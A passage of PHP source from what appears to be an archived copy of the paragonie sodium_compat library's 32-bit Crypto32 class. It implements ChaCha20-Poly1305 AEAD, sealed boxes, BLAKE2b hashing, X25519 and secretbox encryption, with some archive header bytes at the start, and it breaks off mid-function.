fseek($ifp, $pos, SEEK_SET); return $res; } /** * @param resource $resource * @return int * @throws SodiumException */ private static function ftell($resource) { $return = ftell($resource); if (!is_int($return)) { throw new SodiumException('ftell() returned false'); } return (int) $return; } } PKÜ�\��ӈO�O�/vendor/paragonie/sodium_compat/src/Crypto32.phpnu�[���<?php if (class_exists('ParagonIE_Sodium_Crypto32', false)) { return; } /** * Class ParagonIE_Sodium_Crypto * * ATTENTION! * * If you are using this library, you should be using * ParagonIE_Sodium_Compat in your code, not this class. */ abstract class ParagonIE_Sodium_Crypto32 { const aead_chacha20poly1305_KEYBYTES = 32; const aead_chacha20poly1305_NSECBYTES = 0; const aead_chacha20poly1305_NPUBBYTES = 8; const aead_chacha20poly1305_ABYTES = 16; const aead_chacha20poly1305_IETF_KEYBYTES = 32; const aead_chacha20poly1305_IETF_NSECBYTES = 0; const aead_chacha20poly1305_IETF_NPUBBYTES = 12; const aead_chacha20poly1305_IETF_ABYTES = 16; const aead_xchacha20poly1305_IETF_KEYBYTES = 32; const aead_xchacha20poly1305_IETF_NSECBYTES = 0; const aead_xchacha20poly1305_IETF_NPUBBYTES = 24; const aead_xchacha20poly1305_IETF_ABYTES = 16; const box_curve25519xsalsa20poly1305_SEEDBYTES = 32; const box_curve25519xsalsa20poly1305_PUBLICKEYBYTES = 32; const box_curve25519xsalsa20poly1305_SECRETKEYBYTES = 32; const box_curve25519xsalsa20poly1305_BEFORENMBYTES = 32; const box_curve25519xsalsa20poly1305_NONCEBYTES = 24; const box_curve25519xsalsa20poly1305_MACBYTES = 16; const box_curve25519xsalsa20poly1305_BOXZEROBYTES = 16; const box_curve25519xsalsa20poly1305_ZEROBYTES = 32; const onetimeauth_poly1305_BYTES = 16; const onetimeauth_poly1305_KEYBYTES = 32; const secretbox_xsalsa20poly1305_KEYBYTES = 32; const secretbox_xsalsa20poly1305_NONCEBYTES = 24; const secretbox_xsalsa20poly1305_MACBYTES = 16; const secretbox_xsalsa20poly1305_BOXZEROBYTES = 16; const secretbox_xsalsa20poly1305_ZEROBYTES = 32; const secretbox_xchacha20poly1305_KEYBYTES = 32; const secretbox_xchacha20poly1305_NONCEBYTES = 24; const secretbox_xchacha20poly1305_MACBYTES = 16; const secretbox_xchacha20poly1305_BOXZEROBYTES = 16; const secretbox_xchacha20poly1305_ZEROBYTES = 32; const stream_salsa20_KEYBYTES = 32; /** * AEAD Decryption with ChaCha20-Poly1305 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of message (ciphertext + MAC) */ $len = ParagonIE_Sodium_Core32_Util::strlen($message); /** @var int $clen - Length of ciphertext */ $clen = $len - self::aead_chacha20poly1305_ABYTES; /** @var int $adlen - Length of associated data */ $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad); /** @var string $mac - Message authentication code */ $mac = ParagonIE_Sodium_Core32_Util::substr( $message, $clen, self::aead_chacha20poly1305_ABYTES ); /** @var string $ciphertext - The encrypted message (sans MAC) */ $ciphertext = ParagonIE_Sodium_Core32_Util::substr($message, 0, $clen); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream( 32, $nonce, $key ); /* Recalculate the Poly1305 authentication tag (MAC): */ $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } $state->update($ad); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen)); $state->update($ciphertext); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($clen)); $computed_mac = $state->finish(); /* Compare the given MAC with the recalculated MAC: */ if (!ParagonIE_Sodium_Core32_Util::verify_16($computed_mac, $mac)) { throw new SodiumException('Invalid MAC'); } // Here, we know that the MAC is valid, so we decrypt and return the plaintext return ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( $ciphertext, $nonce, $key, ParagonIE_Sodium_Core32_Util::store64_le(1) ); } /** * AEAD Encryption with ChaCha20-Poly1305 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of the plaintext message */ $len = ParagonIE_Sodium_Core32_Util::strlen($message); /** @var int $adlen - Length of the associated data */ $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream( 32, $nonce, $key ); $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } /** @var string $ciphertext - Raw encrypted data */ $ciphertext = ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( $message, $nonce, $key, ParagonIE_Sodium_Core32_Util::store64_le(1) ); $state->update($ad); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen)); $state->update($ciphertext); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($len)); return $ciphertext . $state->finish(); } /** * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_ietf_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $adlen - Length of associated data */ $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad); /** @var int $len - Length of message (ciphertext + MAC) */ $len = ParagonIE_Sodium_Core32_Util::strlen($message); /** @var int $clen - Length of ciphertext */ $clen = $len - self::aead_chacha20poly1305_IETF_ABYTES; /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::ietfStream( 32, $nonce, $key ); /** @var string $mac - Message authentication code */ $mac = ParagonIE_Sodium_Core32_Util::substr( $message, $len - self::aead_chacha20poly1305_IETF_ABYTES, self::aead_chacha20poly1305_IETF_ABYTES ); /** @var string $ciphertext - The encrypted message (sans MAC) */ $ciphertext = ParagonIE_Sodium_Core32_Util::substr( $message, 0, $len - self::aead_chacha20poly1305_IETF_ABYTES ); /* Recalculate the Poly1305 authentication tag (MAC): */ $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } $state->update($ad); $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf))); $state->update($ciphertext); $state->update(str_repeat("\x00", (0x10 - $clen) & 0xf)); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen)); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($clen)); $computed_mac = $state->finish(); /* Compare the given MAC with the recalculated MAC: */ if (!ParagonIE_Sodium_Core32_Util::verify_16($computed_mac, $mac)) { throw new SodiumException('Invalid MAC'); } // Here, we know that the MAC is valid, so we decrypt and return the plaintext return ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $ciphertext, $nonce, $key, ParagonIE_Sodium_Core32_Util::store64_le(1) ); } /** * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_ietf_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of the plaintext message */ $len = ParagonIE_Sodium_Core32_Util::strlen($message); /** @var int $adlen - Length of the associated data */ $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::ietfStream( 32, $nonce, $key ); $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } /** @var string $ciphertext - Raw encrypted data */ $ciphertext = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $message, $nonce, $key, ParagonIE_Sodium_Core32_Util::store64_le(1) ); $state->update($ad); $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf))); $state->update($ciphertext); $state->update(str_repeat("\x00", ((0x10 - $len) & 0xf))); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen)); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($len)); return $ciphertext . $state->finish(); } /** * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_xchacha20poly1305_ietf_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20( ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16), $key ); $nonceLast = "\x00\x00\x00\x00" . ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); return self::aead_chacha20poly1305_ietf_decrypt($message, $ad, $nonceLast, $subkey); } /** * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_xchacha20poly1305_ietf_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20( ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16), $key ); $nonceLast = "\x00\x00\x00\x00" . ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); return self::aead_chacha20poly1305_ietf_encrypt($message, $ad, $nonceLast, $subkey); } /** * HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $key * @return string * @throws TypeError */ public static function auth($message, $key) { return ParagonIE_Sodium_Core32_Util::substr( hash_hmac('sha512', $message, $key, true), 0, 32 ); } /** * HMAC-SHA-512-256 validation. Constant-time via hash_equals(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $mac * @param string $message * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function auth_verify($mac, $message, $key) { return ParagonIE_Sodium_Core32_Util::hashEquals( $mac, self::auth($message, $key) ); } /** * X25519 key exchange followed by XSalsa20Poly1305 symmetric encryption * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box($plaintext, $nonce, $keypair) { return self::secretbox( $plaintext, $nonce, self::box_beforenm( self::box_secretkey($keypair), self::box_publickey($keypair) ) ); } /** * X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $publicKey * @return string * @throws SodiumException * @throws TypeError */ public static function box_seal($message, $publicKey) { /** @var string $ephemeralKeypair */ $ephemeralKeypair = self::box_keypair(); /** @var string $ephemeralSK */ $ephemeralSK = self::box_secretkey($ephemeralKeypair); /** @var string $ephemeralPK */ $ephemeralPK = self::box_publickey($ephemeralKeypair); /** @var string $nonce */ $nonce = self::generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var string $keypair - The combined keypair used in crypto_box() */ $keypair = self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey); /** @var string $ciphertext Ciphertext + MAC from crypto_box */ $ciphertext = self::box($message, $nonce, $keypair); try { ParagonIE_Sodium_Compat::memzero($ephemeralKeypair); ParagonIE_Sodium_Compat::memzero($ephemeralSK); ParagonIE_Sodium_Compat::memzero($nonce); } catch (SodiumException $ex) { $ephemeralKeypair = null; $ephemeralSK = null; $nonce = null; } return $ephemeralPK . $ciphertext; } /** * Opens a message encrypted via box_seal(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box_seal_open($message, $keypair) { /** @var string $ephemeralPK */ $ephemeralPK = ParagonIE_Sodium_Core32_Util::substr($message, 0, 32); /** @var string $ciphertext (ciphertext + MAC) */ $ciphertext = ParagonIE_Sodium_Core32_Util::substr($message, 32); /** @var string $secretKey */ $secretKey = self::box_secretkey($keypair); /** @var string $publicKey */ $publicKey = self::box_publickey($keypair); /** @var string $nonce */ $nonce = self::generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var string $keypair */ $keypair = self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK); /** @var string $m */ $m = self::box_open($ciphertext, $nonce, $keypair); try { ParagonIE_Sodium_Compat::memzero($secretKey); ParagonIE_Sodium_Compat::memzero($ephemeralPK); ParagonIE_Sodium_Compat::memzero($nonce); } catch (SodiumException $ex) { $secretKey = null; $ephemeralPK = null; $nonce = null; } return $m; } /** * Used by crypto_box() to get the crypto_secretbox() key. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sk * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function box_beforenm($sk, $pk) { return ParagonIE_Sodium_Core32_HSalsa20::hsalsa20( str_repeat("\x00", 16), self::scalarmult($sk, $pk) ); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @return string * @throws Exception * @throws SodiumException * @throws TypeError */ public static function box_keypair() { $sKey = random_bytes(32); $pKey = self::scalarmult_base($sKey); return $sKey . $pKey; } /** * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ public static function box_seed_keypair($seed) { $sKey = ParagonIE_Sodium_Core32_Util::substr( hash('sha512', $seed, true), 0, 32 ); $pKey = self::scalarmult_base($sKey); return $sKey . $pKey; } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @param string $pKey * @return string * @throws TypeError */ public static function box_keypair_from_secretkey_and_publickey($sKey, $pKey) { return ParagonIE_Sodium_Core32_Util::substr($sKey, 0, 32) . ParagonIE_Sodium_Core32_Util::substr($pKey, 0, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $keypair * @return string * @throws RangeException * @throws TypeError */ public static function box_secretkey($keypair) { if (ParagonIE_Sodium_Core32_Util::strlen($keypair) !== 64) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.' ); } return ParagonIE_Sodium_Core32_Util::substr($keypair, 0, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $keypair * @return string * @throws RangeException * @throws TypeError */ public static function box_publickey($keypair) { if (ParagonIE_Sodium_Core32_Util::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.' ); } return ParagonIE_Sodium_Core32_Util::substr($keypair, 32, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function box_publickey_from_secretkey($sKey) { if (ParagonIE_Sodium_Core32_Util::strlen($sKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.' ); } return self::scalarmult_base($sKey); } /** * Decrypt a message encrypted with box(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box_open($ciphertext, $nonce, $keypair) { return self::secretbox_open( $ciphertext, $nonce, self::box_beforenm( self::box_secretkey($keypair), self::box_publickey($keypair) ) ); } /** * Calculate a BLAKE2b hash. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string|null $key * @param int $outlen * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash($message, $key = '', $outlen = 32) { // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { /** @var SplFixedArray $k */ $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } /** @var SplFixedArray $in */ $in = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($message); /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outlen); ParagonIE_Sodium_Core32_BLAKE2b::update($ctx, $in, $in->count()); /** @var SplFixedArray $out */ $out = new SplFixedArray($outlen); $out = ParagonIE_Sodium_Core32_BLAKE2b::finish($ctx, $out); /** @var array<int, int> */ $outArray = $out->toArray(); return ParagonIE_Sodium_Core32_Util::intArrayToString($outArray); } /** * Finalize a BLAKE2b hashing context, returning the hash. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ctx * @param int $outlen * @return string * @throws SodiumException * @throws TypeError */ public static function generichash_final($ctx, $outlen = 32) { if (!is_string($ctx)) { throw new TypeError('Context must be a string'); } $out = new SplFixedArray($outlen); /** @var SplFixedArray $context */ $context = ParagonIE_Sodium_Core32_BLAKE2b::stringToContext($ctx); /** @var SplFixedArray $out */ $out = ParagonIE_Sodium_Core32_BLAKE2b::finish($context, $out); /** @var array<int, int> */ $outArray = $out->toArray(); return ParagonIE_Sodium_Core32_Util::intArrayToString($outArray); } /** * Initialize a hashing context for BLAKE2b. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $key * @param int $outputLength * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash_init($key = '', $outputLength = 32) { // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outputLength); return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($ctx); } /** * Initialize a hashing context for BLAKE2b. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $key * @param int $outputLength * @param string $salt * @param string $personal * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash_init_salt_personal( $key = '', $outputLength = 32, $salt = '', $personal = '' ) { // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } if (!empty($salt)) { $s = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($salt); } else { $s = null; } if (!empty($salt)) { $p = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($personal); } else { $p = null; } /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outputLength, $s, $p); return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($ctx); } /** * Update a hashing context for BLAKE2b with $message * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ctx * @param string $message * @return string * @throws SodiumException * @throws TypeError */ public static function generichash_update($ctx, $message) { // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor(); /** @var SplFixedArray $context */ $context = ParagonIE_Sodium_Core32_BLAKE2b::stringToContext($ctx); /** @var SplFixedArray $in */ $in = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($message); ParagonIE_Sodium_Core32_BLAKE2b::update($context, $in, $in->count()); return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($context); } /** * Libsodium's crypto_kx(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $my_sk * @param string $their_pk * @param string $client_pk * @param string $server_pk * @return string * @throws SodiumException * @throws TypeError */ public static function keyExchange($my_sk, $their_pk, $client_pk, $server_pk) { return self::generichash( self::scalarmult($my_sk, $their_pk) . $client_pk . $server_pk ); } /** * ECDH over Curve25519 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @param string $pKey * @return string * * @throws SodiumException * @throws TypeError */ public static function scalarmult($sKey, $pKey) { $q = ParagonIE_Sodium_Core32_X25519::crypto_scalarmult_curve25519_ref10($sKey, $pKey); self::scalarmult_throw_if_zero($q); return $q; } /** * ECDH over Curve25519, using the basepoint. * Used to get a secret key from a public key. * * @param string $secret * @return string * * @throws SodiumException * @throws TypeError */ public static function scalarmult_base($secret) { $q = ParagonIE_Sodium_Core32_X25519::crypto_scalarmult_curve25519_ref10_base($secret); self::scalarmult_throw_if_zero($q); return $q; } /** * This throws an Error if a zero public key was passed to the function. * * @param string $q * @return void * @throws SodiumException * @throws TypeError */ protected static function scalarmult_throw_if_zero($q) { $d = 0; for ($i = 0; $i < self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) { $d |= ParagonIE_Sodium_Core32_Util::chrToInt($q[$i]); } /* branch-free variant of === 0 */ if (-(1 & (($d - 1) >> 8))) { throw new SodiumException('Zero public key is not allowed'); } } /** * XSalsa20-Poly1305 authenticated symmetric-key encryption. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox($plaintext, $nonce, $key) { /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen = ParagonIE_Sodium_Core32_Util::strlen($plaintext); $mlen0 = $mlen; if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor( $block0, ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), $subkey ); /** @var string $c */ $c = ParagonIE_Sodium_Core32_Util::substr( $block0, self::secretbox_xsalsa20poly1305_ZEROBYTES ); if ($mlen > $mlen0) { $c .= ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic( ParagonIE_Sodium_Core32_Util::substr( $plaintext, self::secretbox_xsalsa20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), 1, $subkey ); } $state = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_Util::substr( $block0, 0, self::onetimeauth_poly1305_KEYBYTES ) ); try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $state->update($c); /** @var string $c - MAC || ciphertext */ $c = $state->finish() . $c; unset($state); return $c; } /** * Decrypt a ciphertext generated via secretbox(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_open($ciphertext, $nonce, $key) { /** @var string $mac */ $mac = ParagonIE_Sodium_Core32_Util::substr( $ciphertext, 0, self::secretbox_xsalsa20poly1305_MACBYTES ); /** @var string $c */ $c = ParagonIE_Sodium_Core32_Util::substr( $ciphertext, self::secretbox_xsalsa20poly1305_MACBYTES ); /** @var int $clen */ $clen = ParagonIE_Sodium_Core32_Util::strlen($c); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20( 64, ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), $subkey ); $verified = ParagonIE_Sodium_Core32_Poly1305::onetimeauth_verify( $mac, $c, ParagonIE_Sodium_Core32_Util::substr($block0, 0, 32) ); if (!$verified) { try { ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $subkey = null; } throw new SodiumException('Invalid MAC'); } /** @var string $m - Decrypted message */ $m = ParagonIE_Sodium_Core32_Util::xorStrings( ParagonIE_Sodium_Core32_Util::substr($block0, self::secretbox_xsalsa20poly1305_ZEROBYTES), ParagonIE_Sodium_Core32_Util::substr($c, 0, self::secretbox_xsalsa20poly1305_ZEROBYTES) ); if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) { // We had more than 1 block, so let's continue to decrypt the rest. $m .= ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic( ParagonIE_Sodium_Core32_Util::substr( $c, self::secretbox_xsalsa20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), 1, (string) $subkey ); } return $m; } /** * XChaCha20-Poly1305 authenticated symmetric-key encryption. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_xchacha20poly1305($plaintext, $nonce, $key) { /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20( ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16), $key ); $nonceLast = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen = ParagonIE_Sodium_Core32_Util::strlen($plaintext); $mlen0 = $mlen; if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) { $mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( $block0, $nonceLast, $subkey ); /** @var string $c */ $c = ParagonIE_Sodium_Core32_Util::substr( $block0, self::secretbox_xchacha20poly1305_ZEROBYTES ); if ($mlen > $mlen0) { $c .= ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( ParagonIE_Sodium_Core32_Util::substr( $plaintext, self::secretbox_xchacha20poly1305_ZEROBYTES ), $nonceLast, $subkey, ParagonIE_Sodium_Core32_Util::store64_le(1) ); } $state = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_Util::substr( $block0, 0, self::onetimeauth_poly1305_KEYBYTES ) ); try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $state->update($c); /** @var string $c - MAC || ciphertext */ $c = $state->finish() . $c; unset($state); return $c; } /** * Decrypt a ciphertext generated via secretbox_xchacha20poly1305(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key) { /** @var string $mac */ $mac = ParagonIE_Sodium_Core32_Util::substr( $ciphertext, 0, self::secretbox_xchacha20poly1305_MACBYTES ); /** @var string $c */ $c = ParagonIE_Sodium_Core32_Util::substr( $ciphertext, self::secretbox_xchacha20poly1305_MACBYTES ); /** @var int $clen */ $clen = ParagonIE_Sodium_Core32_Util::strlen($c); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HChaCha20::hchacha20($nonce, $key); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream( 64, ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), $subkey ); $verified = ParagonIE_Sodium_Core32_Poly1305::onetimeauth_verify( $mac, $c, ParagonIE_Sodium_Core32_Util::substr($block0, 0, 32) ); if (!$verified) { try { ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $subkey = null; } throw new SodiumException('Invalid MAC'); } /** @var string $m - Decrypted message */ $m = ParagonIE_Sodium_Core32_Util::xorStrings( ParagonIE_Sodium_Core32_Util::substr($block0, self::secretbox_xchacha20poly1305_ZEROBYTES), ParagonIE_Sodium_Core32_Util::substr($c, 0, self::secretbox_xchacha20poly1305_ZEROBYTES) ); if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) { // We had more than 1 block, so let's continue to decrypt the rest. $m .= ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( ParagonIE_Sodium_Core32_Util::substr( $c, self::secretbox_xchacha20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), (string) $subkey, ParagonIE_Sodium_Core32_Util::store64_le(1) ); } return $m; } /** * @param string $key * @return array<int, string> Returns a state and a header. * @throws Exception * @throws SodiumException */ public static function 